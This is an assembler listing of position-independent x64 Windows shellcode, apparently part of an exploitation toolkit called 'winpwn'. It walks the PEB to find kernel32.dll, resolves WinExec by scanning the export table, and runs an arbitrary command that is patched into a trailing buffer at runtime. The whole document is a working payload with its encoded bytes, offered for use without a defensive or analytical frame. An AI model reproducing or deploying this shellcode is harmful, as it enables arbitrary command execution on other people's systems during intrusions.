     1                                  ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
     2                                  ; base via the PEB (no leak/hardcoded address needed), find WinExec by
     3                                  ; name, and run a command. Returns normally (ret) so the host thread keeps
     4                                  ; running afterward.
     5                                  ;
     6                                  ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
     7                                  ; winpwn patches it at runtime with the actual NUL-terminated command
     8                                  ; (see shellcraft.go).
     9                                  BITS 64
    10                                  default rel
    11                                  
    12                                  start:
    13                                      ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
    14                                      ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
    15                                      ; alignment below and still land exactly back on the real return
    16                                      ; address afterward. A bare `and rsp, ~0xF` with no matching restore
    17                                      ; before `ret` pops whatever garbage is sitting at the shifted address
    18                                      ; instead of the caller's actual return address — that's the bug this
    19                                      ; replaced (verified by crash: rip ended up pointing into the Go
    20                                      ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
    21                                      ; behind).
    22 00000000 55                          push rbp
    23 00000001 4154                        push r12
    24 00000003 4889E5                      mov rbp, rsp
    25 00000006 4883E4F0                    and rsp, ~0xF           ; force 16-byte stack alignment, unknown entry state
    26                                  
    27 0000000A E82F000000                  call get_kernel32_base
    28 0000000F 4989C4                      mov r12, rax             ; r12 = kernel32 base
    29                                  
    30 00000012 4C89E1                      mov rcx, r12
    31 00000015 488D15C7000000              lea rdx, [rel name_winexec]
    32 0000001C E839000000                  call find_export
    33                                      ; rax = WinExec address
    34                                  
    35 00000021 488D0DC8000000              lea rcx, [rel cmd_buf]
    36 00000028 BA05000000                  mov edx, 5                ; SW_SHOW
    37 0000002D 4883EC20                    sub rsp, 0x20               ; shadow space required before any WinAPI call
    38 00000031 FFD0                        call rax
    39 00000033 4883C420                    add rsp, 0x20
    40                                  
    41 00000037 4889EC                      mov rsp, rbp
    42 0000003A 415C                        pop r12
    43 0000003C 5D                          pop rbp
    44 0000003D C3                          ret
    45                                  
    46                                  %include "resolver.inc"
     1                              <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
     2                              <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
     3                              <1> ; addresses) and resolve any export by name (no hashing, just a linear
     4                              <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
     5                              <1> ; one-shot resolutions).
     6                              <1> ;
     7                              <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
     8                              <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
     9                              <1> ; non-volatile register they touch, so callers can keep values live in
    10                              <1> ; r12-r15 across calls to either of these.
    11                              <1> 
    12                              <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
    13                              <1> ;
    14                              <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
    15                              <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
    16                              <1> ; fixed load order is the same trick essentially every public Windows x64
    17                              <1> ; shellcode relies on.
    18                              <1> get_kernel32_base:
    19 0000003E 65488B042560000000  <1>     mov rax, [gs:0x60]      ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
    20 00000047 488B4018            <1>     mov rax, [rax+0x18]     ; PEB->Ldr
    21 0000004B 488B4020            <1>     mov rax, [rax+0x20]     ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
    22 0000004F 488B00              <1>     mov rax, [rax]          ; entry0.Flink -> entry1 (ntdll.dll)
    23 00000052 488B00              <1>     mov rax, [rax]          ; entry1.Flink -> entry2 (kernel32.dll)
    24 00000055 488B4020            <1>     mov rax, [rax+0x20]     ; entry2.DllBase  (DllBase sits 0x20 past InMemoryOrderLinks)
    25 00000059 C3                  <1>     ret
    26                              <1> 
    27                              <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
    28                              <1> ;   -> RAX = absolute address of the export, or 0 if not found.
    29                              <1> ;
    30                              <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
    31                              <1> ; entry against the target string, then follows AddressOfNameOrdinals and
    32                              <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
    33                              <1> ; DataDirectory[0] (export table) offset for PE32+.
    34                              <1> find_export:
    35 0000005A 4154                <1>     push r12
    36 0000005C 4155                <1>     push r13
    37 0000005E 4156                <1>     push r14
    38 00000060 4157                <1>     push r15
    39 00000062 56                  <1>     push rsi
    40 00000063 57                  <1>     push rdi
    41 00000064 53                  <1>     push rbx
    42                              <1> 
    43 00000065 4989CC              <1>     mov r12, rcx            ; r12 = module base (preserved for the whole routine)
    44 00000068 4989D5              <1>     mov r13, rdx            ; r13 = target name pointer (preserved)
    45                              <1> 
    46 0000006B 418B44243C          <1>     mov eax, [r12+0x3C]     ; e_lfanew
    47 00000070 4C01E0              <1>     add rax, r12            ; rax = NT header VA
    48 00000073 8B8088000000        <1>     mov eax, [rax+0x88]     ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
    49 00000079 4C01E0              <1>     add rax, r12
    50 0000007C 4989C6              <1>     mov r14, rax            ; r14 = export directory VA
    51                              <1> 
    52 0000007F 418B5E18            <1>     mov ebx, [r14+0x18]     ; ebx = NumberOfNames
    53 00000083 458B4E20            <1>     mov r9d,  [r14+0x20]    ; AddressOfNames RVA
    54 00000087 4D01E1              <1>     add r9, r12             ; r9  = AddressOfNames VA  (array of DWORD RVAs -> name strings)
    55 0000008A 458B5624            <1>     mov r10d, [r14+0x24]    ; AddressOfNameOrdinals RVA
    56 0000008E 4D01E2              <1>     add r10, r12            ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
    57 00000091 458B5E1C            <1>     mov r11d, [r14+0x1C]    ; AddressOfFunctions RVA
    58 00000095 4D01E3              <1>     add r11, r12            ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
    59                              <1> 
    60 00000098 4D31FF              <1>     xor r15, r15            ; r15 = loop index i
    61                              <1> 
    62                              <1> .loop:
    63 0000009B 4939DF              <1>     cmp r15, rbx
    64 0000009E 7D34                <1>     jge .notfound
    65                              <1> 
    66 000000A0 438B04B9            <1>     mov eax, [r9 + r15*4]   ; nameRVA for entry i
    67 000000A4 4C01E0              <1>     add rax, r12
    68 000000A7 4889C6              <1>     mov rsi, rax            ; rsi = candidate name VA
    69 000000AA 4C89EF              <1>     mov rdi, r13            ; rdi = target name VA (reset every attempt)
    70                              <1> 
    71                              <1> .cmp_loop:
    72 000000AD 8A06                <1>     mov al, [rsi]
    73 000000AF 8A0F                <1>     mov cl, [rdi]
    74 000000B1 38C8                <1>     cmp al, cl
    75 000000B3 750C                <1>     jne .next
    76 000000B5 84C0                <1>     test al, al
    77 000000B7 740D                <1>     je .found               ; both hit NUL with every byte equal -> match
    78 000000B9 48FFC6              <1>     inc rsi
    79 000000BC 48FFC7              <1>     inc rdi
    80 000000BF EBEC                <1>     jmp .cmp_loop
    81                              <1> 
    82                              <1> .next:
    83 000000C1 49FFC7              <1>     inc r15
    84 000000C4 EBD5                <1>     jmp .loop
    85                              <1> 
    86                              <1> .found:
    87 000000C6 4B0FB7047A          <1>     movzx rax, word [r10 + r15*2]  ; ordinal index for entry i
    88 000000CB 418B0483            <1>     mov eax, [r11 + rax*4]          ; function RVA
    89 000000CF 4C01E0              <1>     add rax, r12                     ; absolute address
    90 000000D2 EB03                <1>     jmp .done
    91                              <1> 
    92                              <1> .notfound:
    93 000000D4 4831C0              <1>     xor rax, rax
    94                              <1> 
    95                              <1> .done:
    96 000000D7 5B                  <1>     pop rbx
    97 000000D8 5F                  <1>     pop rdi
    98 000000D9 5E                  <1>     pop rsi
    99 000000DA 415F                <1>     pop r15
   100 000000DC 415E                <1>     pop r14
   101 000000DE 415D                <1>     pop r13
   102 000000E0 415C                <1>     pop r12
   103 000000E2 C3                  <1>     ret
    47                                  
    48 000000E3 57696E4578656300        name_winexec: db "WinExec", 0
    49                                  
    50 000000EB 90<rep 5h>              align 8
    51                                  cmd_buf:
    52 000000F0 00<rep 104h>                times 260 db 0
